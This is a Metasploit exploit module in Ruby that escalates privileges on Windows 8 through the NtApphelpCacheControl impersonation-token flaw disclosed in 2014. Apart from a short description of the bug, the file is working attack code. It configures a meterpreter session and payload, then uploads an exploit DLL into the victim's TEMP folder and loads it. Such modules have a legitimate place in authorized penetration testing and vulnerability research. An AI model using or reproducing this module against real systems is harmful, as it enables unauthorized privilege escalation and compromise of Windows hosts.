85 lines
2.8 KiB
Ruby
85 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/post/windows/reflective_dll_injection'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Local
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Rank = AverageRanking
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Process
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include Msf::Post::Windows::FileInfo
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include Msf::Post::Windows::ReflectiveDLLInjection
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def initialize(info={})
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super(update_info(info, {
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'Name' => 'Windows NtApphelpCacheControl Token Impersonation',
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'Description' => %q{
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On Windows 8, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
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allows application compatibility data to be cached for quick reuse when new processes are created.
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A normal user can query the cache but cannot add new cached entries as the operation is restricted
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to administrators. This is checked in the function AhcVerifyAdminContext.
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This function has a vulnerability where it doesn't correctly check the impersonation token of the
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caller to determine if the user is an administrator. It reads the caller's impersonation token
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using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to
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LocalSystem's SID. It doesn't check the impersonation level of the token so it's possible to get an
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identify token on your thread from a local system process and bypass this check.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'James Forshaw',
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'sinn3r'
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],
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Targets' =>
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[
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[ 'Windows 8', { } ]
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],
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'Payload' =>
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{
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'Space' => 4096,
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'DisableNops' => true
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},
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'References' =>
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[
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[ 'OSVEB', '116497' ],
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[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
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],
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'DisclosureDate' => 'Sep 30 2014',
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'DefaultTarget' => 0
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}))
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end
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def exploit
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temp = get_env('TEMP')
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if temp.blank?
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print_error("Unable to read TEMP")
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return
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end
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print_status("Loading Exploit Library...")
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session.core.load_library(
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'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", "exploit.dll"),
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'TargetFilePath' => temp + "\\ntapphelpcachecontrol.dll",
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'UploadLibrary' => true,
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'Extension' => false,
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'SaveToDisk' => false
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)
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end
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end
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